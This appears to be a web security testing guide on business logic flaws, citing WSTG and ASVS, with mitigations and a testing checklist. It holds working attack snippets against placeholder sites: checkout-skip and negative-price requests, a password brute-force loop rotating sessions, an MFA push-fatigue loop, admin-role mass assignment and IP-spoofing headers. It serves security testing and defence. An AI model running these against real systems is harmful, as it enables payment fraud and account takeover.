Business Logic Vulnerabilities
Business logic vulnerabilities exploit flaws in the application's workflow, rules, and assumptions. Unlike technical vulnerabilities, these abuse the intended functionality in unintended ways. This guide covers workflow bypasses, race conditions, payment manipulation, and other logic flaws.
Frameworks: WSTG-BUSL-01…09 (primary -01, -06) · ASVS 5.0 V2.3.1, V2.3.2 · CWE-840
Why Business Logic Matters
Business logic vulnerabilities are difficult to detect with automated scanners because they don't involve traditional injection or XSS patterns. They require understanding the application's intended behavior and thinking like an attacker to find ways to abuse it. These flaws can lead to financial loss, fraud, and severe business impact.
Warning
Workflow Bypass
Applications often enforce multi-step processes (checkout, registration, approval workflows). Workflow bypass attacks attempt to skip required steps or access endpoints out of order.
Common Workflow Vulnerabilities
Step Skipping
Jumping directly to final step (e.g., order confirmation without payment)
State Manipulation
Modifying session/cookie state to bypass workflow checks
Parallel Workflows
Starting multiple workflows simultaneously to confuse state
Forced Browsing
Accessing workflow URLs directly without prerequisites
Testing Methodology
# 1. Map the workflow
# Identify all steps: /checkout/cart → /checkout/shipping → /checkout/payment → /checkout/confirm
# 2. Test direct access to later steps
curl -X POST https://target.com/checkout/confirm \
-H "Cookie: session=abc123" \
-d "order_id=12345"
# 3. Manipulate workflow state
# Try accessing step 3 with cookies/session from step 1
# 4. Test parameter tampering
# Change step indicators in POST data
curl -X POST https://target.com/checkout/process \
-d "step=1" \
-d "action=complete" # Try to complete entire workflow
# 5. Test parallel sessions
# Open two workflows simultaneously and see if you can merge statesExample: E-commerce Checkout Bypass
import requests
# Step 1: Add items to cart
session = requests.Session()
session.post('https://shop.example.com/cart/add',
json={'product_id': 123, 'quantity': 1})
# Step 2: Skip payment and go directly to confirmation
# Normal flow: /cart → /shipping → /payment → /confirm
# Attack: Jump to confirm without payment
response = session.post('https://shop.example.com/checkout/confirm',
json={
'shipping_address': '123 Test St',
'payment_method': 'credit_card', # Claim payment done
'payment_status': 'completed' # Manipulate status
})
if 'Order Confirmed' in response.text:
print('[!] Workflow bypass successful - order without payment!')
print(response.json())Tip
Race Conditions (TOCTOU)
Race conditions occur when the timing of operations affects the outcome. Time-Of-Check-Time-Of-Use (TOCTOU) vulnerabilities arise when a check and an action are not atomic, allowing an attacker to change state between the check and the use.
Where Races Hit Business Logic
Double Spending
Spending the same credits/voucher/tokens multiple times by exploiting race conditions in validation
Resource Limit Bypass
Exceeding account limits (uploads, invitations, API calls) by racing parallel requests
Negative Balance
Racing withdrawals against an insufficient-funds check to drive an account negative
Information
Payment & Transaction Manipulation
Payment logic flaws allow attackers to manipulate prices, quantities, currency, or transaction flow to obtain goods/services for free or at reduced cost.
Common Payment Vulnerabilities
Price Manipulation
- • Negative prices
- • Zero prices
- • Decimal precision (0.01 vs 0.0001)
- • Hidden price fields in HTML/JS
Quantity Manipulation
- • Negative quantities
- • Fractional quantities
- • Overflow (999999999)
- • Zero quantities with vouchers
Currency Manipulation
- • Currency switching
- • Exchange rate abuse
- • Mixed currency transactions
- • Currency symbol injection
Testing Methodology
# 1. Intercept checkout request and analyze parameters
POST /checkout HTTP/1.1
Content-Type: application/json
{
"product_id": 123,
"quantity": 1,
"price": 99.99,
"currency": "USD",
"discount_code": ""
}
# 2. Test price manipulation
{"price": -99.99} # Negative price (get paid to buy)
{"price": 0} # Zero price
{"price": 0.01} # Minimal price
{"price": "99.99 OR 1=1"} # SQL injection in price
# 3. Test quantity manipulation
{"quantity": -1} # Negative quantity (add to balance?)
{"quantity": 0} # Zero quantity (free shipping with voucher?)
{"quantity": 999999999} # Integer overflow
{"quantity": 1.5} # Fractional quantity
# 4. Test currency manipulation
{"currency": "XXX"} # Invalid currency code
{"currency": "BTC"} # Cryptocurrency (different exchange rate?)
{"price": 99.99, "currency": "IDR"} # Switch to weak currency
# 5. Test parameter pollution
price=0.01&price=99.99 # Which one is used?Example Attack Scenarios
import requests
# Scenario 1: Negative price exploit
response = requests.post('https://shop.com/checkout',
json={
'items': [
{'id': 123, 'quantity': 1, 'price': 100},
{'id': 456, 'quantity': 1, 'price': -150} # Negative price
]
})
# Total: 100 + (-150) = -50 (shop pays YOU $50!)
# Scenario 2: Integer overflow
response = requests.post('https://shop.com/cart/add',
json={
'product_id': 789,
'quantity': 2147483647 # Max 32-bit int
})
# Quantity might wrap to negative, causing free products
# Scenario 3: Discount code stacking
response = requests.post('https://shop.com/apply-discount',
json={
'codes': ['SAVE10', 'SAVE20', 'SAVE30'] # Multiple codes
})
# If not validated, might stack 10% + 20% + 30% = 60% off
# Scenario 4: Currency timing attack
# 1. Start checkout in USD ($100)
# 2. Switch currency to IDR (Indonesian Rupiah)
# 3. If exchange rate not updated, pay Rp100 (~$0.006)
session = requests.Session()
session.post('https://shop.com/cart/add', json={'id': 123})
session.post('https://shop.com/settings/currency', json={'currency': 'IDR'})
response = session.post('https://shop.com/checkout/pay')
print(response.json()) # Check final priceWarning
Rate Limiting Bypass
Rate limiting protects against brute force, enumeration, and denial of service attacks. Testing for rate limiting bypass helps identify weak or missing protections.
Bypass Techniques
Header Manipulation
# Add headers to bypass IP-based rate limiting
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
Forwarded: for=1.2.3.4
# Try localhost bypass
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: ::1
# Try internal IP ranges
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 192.168.1.1Session Rotation
# Rotate sessions to bypass user-based rate limiting
import requests
for i in range(1000):
session = requests.Session() # New session each time
response = session.post('https://target.com/login',
json={'username': 'admin', 'password': f'pass{i}'})
print(f'[{i}] Status: {response.status_code}')Parameter Pollution
# Try different parameter encodings to bypass detection
email=test@example.com
email=test%40example.com
email=test%2540example.com (double encoding)
email[]=test@example.com (array format)
email.value=test@example.com
# Case sensitivity bypass
Email=test@example.com
EMAIL=test@example.comInformation
Resource Exhaustion
Resource exhaustion attacks exploit business logic to consume excessive resources (storage, processing, memory) causing denial of service or financial cost.
Common Attack Vectors
Storage Exhaustion
- • Uploading massive files
- • Creating unlimited accounts
- • Zip bombs
- • Log file pollution
Processing Exhaustion
- • Complex regex (ReDoS)
- • PDF rendering bombs
- • Image processing attacks
- • Expensive database queries
Timing Attacks
Timing attacks exploit differences in response times to infer information about the application's internal state (user existence, password correctness, etc.).
import requests
import time
# Test for user enumeration via timing
def test_timing(email):
start = time.time()
response = requests.post('https://target.com/login',
json={'email': email, 'password': 'wrong'})
elapsed = time.time() - start
return elapsed
# Valid users might take longer (password check)
# Invalid users fail fast (no password check)
print(f'valid@example.com: {test_timing("valid@example.com"):.4f}s')
print(f'invalid@example.com: {test_timing("invalid@example.com"):.4f}s')
# If timing difference > 100ms, user enumeration possibleTools & Resources
Testing Tools
-
•
Burp Suite Turbo Intruder
Race condition and high-speed testing -
•
race-the-web
Command-line race condition tester -
•
Racepwn
Automated race condition detection
Mitigation Strategies
- ✓ Server-Side Validation: Always validate all business rules on the server. Never trust client-side checks.
- ✓ Atomic Operations: Use database transactions and locking to prevent race conditions
- ✓ Idempotency: Make operations idempotent (same result when repeated) using idempotency keys
- ✓ Workflow State Machine: Implement strict state machines that enforce valid transitions
- ✓ Rate Limiting: Implement proper rate limiting on all sensitive operations
- ✓ Input Validation: Validate ranges, data types, and business constraints (e.g., quantity > 0)
- ✓ Constant-Time Comparisons: Use constant-time comparison for sensitive operations to prevent timing attacks
Business Logic Testing Checklist
Workflow Abuse
- ☐ Skip steps in multi-step processes
- ☐ Repeat steps out of order
- ☐ Test state transitions (e.g., unpaid→shipped)
- ☐ Race conditions on critical operations
- ☐ State machine invalid transitions
- ☐ MFA step-skip logic flaws
Data Validation
- ☐ Negative values (price, quantity)
- ☐ Integer overflow / underflow
- ☐ Currency rounding manipulation
- ☐ Coupon / discount stacking
- ☐ Gift card balance exploitation
- ☐ Mass assignment of hidden fields
Authorization Logic
- ☐ Feature flag bypass
- ☐ Tier/plan limit circumvention
- ☐ Referral / reward abuse
- ☐ Rate limit bypass on sensitive actions
Advanced Business Logic Attacks
State Machine Testing
Model the application's workflow as a state machine, then test every possible invalid transition:
# State machine audit methodology
# 1. Map all states: pending → paid → processing → shipped → delivered → returned
# 2. For each state, test transitions to EVERY other state (not just the next one)
import requests
BASE = "https://target.com/api"
TOKEN = "Bearer YOUR_TOKEN"
HEADERS = {"Authorization": TOKEN, "Content-Type": "application/json"}
# Create a test order
order = requests.post(f"{BASE}/orders", headers=HEADERS,
json={"items": [{"id": 1, "qty": 1}]}).json()
order_id = order["id"]
# Test invalid state transitions
invalid_transitions = [
("pending", "shipped"), # Skip payment
("pending", "delivered"), # Skip everything
("shipped", "pending"), # Reverse to get refund + keep item
("delivered", "processing"),# Reset to re-ship
("cancelled", "shipped"), # Resurrect cancelled order
]
for from_state, to_state in invalid_transitions:
# Force state via direct API manipulation
r = requests.patch(f"{BASE}/orders/{order_id}",
headers=HEADERS,
json={"status": to_state})
print(f"{from_state} → {to_state}: {r.status_code} - {r.text[:100]}")
# Also try via workflow endpoints
r = requests.post(f"{BASE}/orders/{order_id}/{to_state}", headers=HEADERS)
print(f" Direct endpoint: {r.status_code}")Multi-Factor Logic Flaws
MFA implementations often have logic flaws in the verification workflow itself:
# Step skip: Complete login, skip MFA verification, access protected resource
# 1. POST /login → 200 OK (sets session cookie, redirects to /mfa/verify)
# 2. Instead of visiting /mfa/verify, go directly to /dashboard
curl -b "session=LOGIN_COOKIE" https://target.com/dashboard
# If dashboard loads → MFA bypass via step skip
# MFA fallback abuse: Request SMS code, then use backup code endpoint
# Some apps don't check which MFA method was initiated
curl -X POST https://target.com/mfa/send-sms # Initiate SMS
curl -X POST https://target.com/mfa/verify-backup -d '{"code": "12345678"}' # But verify with backup code (different endpoint)
# MFA enrollment tampering
# During initial MFA setup, intercept and modify the TOTP secret
# Or: disable MFA by sending enrollment cancellation from a different session
curl -X DELETE https://target.com/api/user/mfa -H "Authorization: Bearer VALID_TOKEN"
# MFA fatigue via push notifications (if push-based MFA)
# Repeatedly trigger MFA push until user approves out of frustration
for i in $(seq 1 50); do
curl -X POST https://target.com/login -d '{"email":"victim@target.com","password":"known_password"}'
sleep 3
doneCoupon & Discount Abuse Patterns
# Coupon code stacking — apply multiple coupons that should be exclusive
curl -X POST https://target.com/api/cart/coupon -d '{"code": "SAVE20"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon -d '{"code": "WELCOME10"}' -b "session=COOKIE"
curl -X POST https://target.com/api/cart/coupon -d '{"code": "FREESHIP"}' -b "session=COOKIE"
# Check if discounts compound: 20% + 10% + free shipping
# Coupon code prediction — check if codes follow a pattern
# Common patterns: PREFIX-SEQUENTIAL, WORD+NUMBER, date-based
# Try: SAVE21, SAVE22, SUMMER2024, WINTER2024, BF2024
# Self-referral loops
# 1. Create account A with referral code REF_A
# 2. Create account B using REF_A → both get credits
# 3. Create account C using referral from B
# 4. Use different email aliases (user+1@gmail.com, user+2@gmail.com)
# Gift card balance manipulation
curl -X POST https://target.com/api/giftcard/redeem -d '{"card": "GIFTCARD123", "amount": -50}' # Negative redemption = add balance
# Apply discount after price is calculated but before payment
# Race condition: apply coupon during checkout processing
# 1. Start checkout (no coupon)
# 2. In parallel: apply 100% discount coupon
# 3. If checkout uses pre-coupon price for display but post-coupon for charge
# Loyalty points manipulation
# Earn points on purchase, return item, keep points
# Convert points to cash, then use cash to earn more points (infinite loop)Mass Assignment in Business Flows
Business logic endpoints often accept more parameters than documented. Adding hidden fields can escalate privileges or manipulate outcomes:
# During user registration — add admin/role fields
curl -X POST https://target.com/api/register -H "Content-Type: application/json" -d '{"email":"test@test.com","password":"pass123","role":"admin","isVerified":true}'
# During order creation — manipulate pricing
curl -X POST https://target.com/api/orders -H "Content-Type: application/json" -d '{"items":[{"id":1,"qty":1}],"total":0.01,"discount":99.99,"shipping":0}'
# During profile update — escalate account type
curl -X PUT https://target.com/api/user/profile -H "Content-Type: application/json" -d '{"name":"Test","plan":"enterprise","credits":999999,"isAdmin":true}'
# Discover hidden fields by:
# 1. Check API documentation / Swagger / OpenAPI specs
# 2. Look at GET responses — writable fields often match readable fields
# 3. Check JavaScript source for form field names
# 4. Try common field names: role, admin, verified, approved, active, balanceEvidence Collection
Workflow Bypass: Step-by-step request sequence showing how mandatory steps (payment, approval, verification) were skipped or reordered
Financial Impact: Screenshots showing negative prices, zero-cost checkouts, duplicated rewards, or manipulated discount calculations with dollar amounts
Privilege Manipulation: Request showing mass assignment of role/admin fields and the resulting elevated access or modified account state
State Manipulation: Diagram or sequence showing the expected state machine flow vs. the exploited path (e.g., order placed → shipped without payment)
CVSS Range: Minor logic flaw (UI inconsistency): 3.1–4.3 | Financial manipulation: 6.5–8.0 (High) | Business-critical bypass (payment skip): 8.0–9.1
False Positive Identification
- Intended flexibility: Some workflows are intentionally flexible (allowing steps to be done in any order, applying coupons at any stage). Confirm with the business team that the behavior is unintended before reporting.
- Server-side validation exists: The client may allow unusual requests, but the server may reject them downstream (e.g., payment processor declines negative amounts). Check the final transaction state.
- Test environment differences: Payment and business logic often behave differently in staging vs. production (sandbox payment providers always succeed). Note the testing environment.
- Idempotent operations: Replaying a request that returns the same result isn't a race condition or logic flaw — it's idempotent by design. Test with state-changing operations.
Business Logic Practice
Break assumptions in workflows, pricing, and trust boundaries.